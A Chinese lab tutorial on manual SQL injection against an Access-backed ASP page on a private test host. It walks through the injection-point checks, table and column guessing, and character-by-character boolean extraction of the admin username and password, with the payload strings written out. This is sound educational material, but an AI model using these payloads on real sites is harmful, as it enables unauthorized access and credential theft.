1. 程式人生 > >SQL注入原理-手工注入access資料庫

SQL注入原理-手工注入access資料庫

一、Target
SQL注入原理、學習手工注入過程
二、實驗原理:通過把SQL命令插入到web表單提交或輸入域名或頁面請求的的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令

1、在結尾的連結中依次新增【’】和【and 1=1】和【and 1=2】判斷網站是否存在注入點
2、新增語句【and exists(select*from admin)】根據頁面返回結果來猜解表名
3、新增【and exists(select admin from admin)】猜解admin表中的列名admin
4、新增語句【and (select top 1 len (admin)from admin)>1】猜解欄位長度
5、新增【and (select top 1 asc(mid(admin,1,1))from admin)>97】猜解欄位中字元的ASCII碼
通過上述的步驟,反覆猜解,即可得到資料庫儲存的使用者名稱和密碼
三、實驗環境:


本機:192.168.1.2
目標機:192.168.1.3
四、實驗步驟:
找到有注入漏洞目標網站:
**1、目標站點:http://192.168.1.3:8008
隨便選擇一個連結:http://192.168.1.3:8008/onews.asp?id=45**
這裡寫圖片描述
2、測試連結,在末尾新增【’】
這裡寫圖片描述
3、在末尾新增【and 1 =1】
這裡寫圖片描述
4、在末尾新增【and 1 =2】,返回頁面發現該網站存在注入漏洞
這裡寫圖片描述
猜解表名
在連結末尾新增語句【and exists(select*from admin)】,頁面正常顯示,說明存在表名【admin】
這裡寫圖片描述
猜解列名
1、在連結末尾新增語句【and exists(select admin from admin)】,頁面顯示正常,說明表中存在admin列

這裡寫圖片描述
2、在連結末尾新增語句【and exists(select password from admin)】,頁面顯示正常,說明表中存在列password
這裡寫圖片描述
猜解欄位內容
1、在連結末尾,輸入【and (select top 1 len (admin)from admin>1】頁面顯示正常,數字依次加1,進行測試,例如:【and (select top 1 len (admin)from admin>5】說明欄位長度為5
這裡寫圖片描述
2、在連結末尾,輸入【and (select top 1 asc(mid(admin,1,1))from admin)>97】,可猜解第一條記錄的第一個字元的ASCILL碼為97,對應為a.

這裡寫圖片描述
3、同樣的方法得到admin的欄位內容【admin】,password的欄位內容【bfpms】